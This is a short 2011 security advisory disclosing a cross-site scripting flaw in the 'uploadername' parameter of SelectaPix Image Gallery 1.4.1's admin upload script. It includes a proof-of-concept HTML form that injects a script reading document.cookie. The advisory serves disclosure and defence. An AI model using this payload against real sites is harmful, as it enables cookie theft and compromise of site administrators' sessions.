SelectaPix Image Gallery 1.4.1 Cross Site Scripting

`Vulnerability ID: HTB22964  
Reference: http://www.htbridge.ch/advisory/xss_in_selectapix_image_gallery.html  
Product: SelectaPix Image Gallery  
Vendor: http://www.outofthetrees.co.uk/ ( http://www.outofthetrees.co.uk/ )   
Vulnerable Version: 1.4.1  
Vendor Notification: 19 April 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
The vulnerability exists due to failure in the "/admin/upload.php" script to properly sanitize user-supplied input in "uploadername" variable.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
The following PoC is available:  
  
  
<form action="http://[host]/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main">  
<input type="hidden" name="uploadername" value='"><script>alert(document.cookie);</script>'>  
<input type="submit" value="OK">   
</form>  
  
  
`